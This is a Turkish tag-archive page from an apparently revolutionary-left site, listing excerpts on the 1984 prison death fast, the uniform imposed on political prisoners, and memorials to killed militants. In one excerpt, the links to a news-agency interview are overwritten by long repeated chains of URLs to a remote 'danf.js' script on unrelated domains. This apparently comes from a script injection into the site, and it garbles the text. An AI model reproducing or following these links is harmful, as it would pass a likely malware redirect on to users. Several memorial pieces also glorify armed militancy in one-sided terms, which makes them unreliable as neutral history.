Etiket arşivi

TTE saldırısını da püskürten bir dönüm noktası: ’84 ÖLÜM ORUCU

Haziran ayı direniş ayıdır. Bunların içinde ’84 ÖO eylemi, devrimci tutsakların 12 Eylül faşizmine karşı yürüttüğü direnişin en önemli dönemeçlerinden biridir. Başta Tek Tip Elbise (TTE) olmak üzere faşist yaptırımları durdurması bakımından olduğu kadar, dışarıdaki mücadeleyi ivmelendirmesi yönüyle de bir “dönüm noktası”dır. O günlere bugünün ışığı ile bakmaya ve doğru sonuçlar çıkarmaya her zamankinden daha fazla ihtiyacımız var. Çünkü hapishaneler …

Devamını oku

Devletin masası, Remzi Basalak’ın tekmesi

Remzi 34

Hakkı Özdal’ın kaleme aldığı ve 16 Şubat 2018 tarihinde “Gazete Duvar” sitesinde yayınlanan yazısını tarihsel öneminden dolayı kendi sitemizde de yayınlıyoruz.  İhtilalci komünist hareketin önder kadrolarından Remzi Basalak, 23 Ekim 1992 tarihinde katledilmişti. O, teşhir masasına vurduğu tekme ile bir döneme son vermiş ve bir sembol haline gelmiştir. Aradan geçen yıllara rağmen “Remzi tekmesi” bir vesile ile hatırlanmakta ve hatırlatılmaktadır. …

Devamını oku

Tek Tip Elbise saldırısı ve M. FATİH ÖKTÜLMÜŞ (*)

fatih

AKP hükümeti, kamuoyu oluşturabilmek için önce “FETÖ”cü olarak adlandırdıkları tutukluları kapsayacağını ilan etti; sonrasında “terörle mücadele” adı altında devrimci tutsakları da katarak, mahkemeye çıkarken “Tek Tip Elbise” (TTE) zorunluluğunu getirdi. Bu uygulama bilindiği gibi 12 Eylül askeri faşist cuntanın devrimci tutsakları teslim almak için gerçekleştirdiği yaptırımların en öne çıkanıydı. Bunu askeri içtima, zorunlu din dersleri, istiklal marşı gibi yaptırımlar izliyordu. …

Devamını oku

Tek Tip Elbise Saldırısı 12 Eylül’ün devamıdır: DEVRİMCİ TUTSAKLAR TESLİM ALINAMAZ!

  Cezaevlerinde tek tip elbise saldırısına karşı, http://dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&www.mezopotamyaajansi.org sitesi, 12 Eylül’de hapis yatmış olan devrimcilerle röportajlar yayınladı. Yazıda, yazarımız Nevin Berktaş’la yapılmış olan bölümü yayınlıyoruz. Yazının tamamı için: http://dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&www.mezopotamyaajansi.org/search/content/view/10547?page=2&key=31f97fb8a4a118e15f71611939eb6a8d?page=1&key=31f97fb8a4a118e15f71611939eb6a8d      AKP tarafından çıkarılan 696 Sayılı Kanun Hükmünde Kararname (KHK) ile getirilen tek tip kıyafet dayatmasına dönük tepkiler gelmeye devam ediyor. Özellikle aynı uygulamanın hayata geçirilmek istendiği 12 Eylül Askeri Darbesi …

Devamını oku

Kararlılığın, uzlaşmazlığın, cesaretin adı: İSMAİL CÜNEYT (STALİN MEHMET)

Yoldaşları arasındaki adı Stalin Mehmet’ti. Sınıf düşmanlarına karşı öylesine derin bir kin taşıyordu ki, ona bu adı vermişlerdi. İsmail Cüneyt, ideolojik-siyasi-örgütsel atılımın ve boşlukları doldurmanın adı oldu hep. İsmail Cüneyt, Balıkesir’in Sındırgı ilçesinde yoksul bir köylü ailesinin çocuğuydu. O, küçük yaştan itibaren sefalet içinde büyüdü. Lise çağlarında devrimci düşüncelere ilgi duymaya başladı. 12 Mart 1971 darbesi gerçekleştiğinde lisedeydi ve tek …

Devamını oku

Eylül karanlığına, Ekim kızıllığı… EKİM ŞEHİTLERİ YAŞIYOR!

arka ekim

Gel bir bak yakından şu yiğitlere Daha dün gibiydi acımasız devrildiler Kan bir kara görüntüydü göğüslerinde Ölüm çirkindi onlar güzelleştirdiler. Düştüler toprağa özgürce, korkusuz Kurşun sesi değildi bir sevdalı gülüştü Düştüler dimdik, özgürce, yalın Öldüler ama çoğaldılar ölümsüz Ölmediler onlar, ölemezler ki Bu yadsınmaz gerçeği bilmedi satılmışlar Onlar bir atardamardı halkların yüreğinde Gecelerde yıldız yıldız uçuşan Gözyaşları yaraşmaz o ölülere …

Devamını oku

“İlk kurşun”: OSMAN YAŞAR YOLDAŞCAN

Günlerden 29 Eylül 1980! Yer, İstanbul-Bağcılar yokuşu… Birazdan yeni bir tarih yazılacak, iki sınıf karşı karşıya gelecek… Güçler ve silahlar eşit değil, ama olsun! Sayı ve silah yönünden bir hayli üstün taraf, eskiyi, yani burjuvaziyi temsil ederken; karşısında iki ondörtlü ve bir bombasıyla tek kişilik bir ordu yeniyi, yani proletaryayı temsil ediyor… Çekildiği inşaatı bilinç ve çelikten iradesiyle granitten bir …

Devamını oku

Hücreler ve 12 Eylül kitapları Çukurova Kitap Fuarı’nda

nevin-adana-fuar

Ocak ayının ilk haftasında açılan Çukurova Kitap Fuarı’na bu yılki ilgi oldukça fazlaydı. Fuarda, yayınevimiz tarafından basılan ‘Darbe Yenilgi Direniş: 12 Eylül’ kitabı ve Belge Yayınları ile birlikte ikinci kez basılan “Hücreler kitabı Dava Dosyası” da bu ilgiden payını aldı. Belge Yayınları’nın standında kitapları imzalayan Nevin Berktaş, yerel gazete ve dergilerin sorularını yanıtladı.Şujin gazetesinde çıkan röportajında, kitaplarına özellikle gençlerin ilgi …

Devamını oku

“Niye öleyim”?!

cizre-cocuklar

Bu cümlenin sahibinin adı Burak Kayaoğlu. Kendisi şairmiş! Onu ve yazdığı şiiri bize tanıtan ise, Melih Pekdemir. 12 Eylül mahkemelerinde “örgüt değil, dergiyiz” savunmasıyla ünlü Devrimci Yol’un “önder”lerinden Melih Pekdemir. Pekdemir, 5 Eylül tarihli BirGün gazetesinde yayınlanan yazısında, “Niye ölelim ki” başlığını kullanmış; ayrıca bu şiire atıfta bulunmuş. Yazısında 15 Temmuz’dan bugüne yaşanan sürece ilişkin olarak “işbaşındaki şeytanların” gidici olduğunu …

Devamını oku

Fatih’in belgeseli çekildi

fatih-etkinlik

Mehmet Fatih Öktülmüş belgeseli, “Kutup Yıldızı-Ağacın Köklerinden Biri” adıyla ilk gösterim olarak Adana’da izleyicilerle buluştu. Yönetmenliğini Şaban Karabeli’nin, senaristliği ve editörlüğünü Özgür Akbaba’nın yaptığı belgesel, Fatih Öktülmüş Kültür Evi yapımcılığında çekildi. Tam da Fatih’e yakışır bir şekilde kolektif bir emeğin ürünü olarak ortaya çıkan eser, aynı zamanda büyük zorluklar ve yokluklar içinde gösterime hazır hale geldi. Belgeselle, Fatih’in çok fazla …

Devamını oku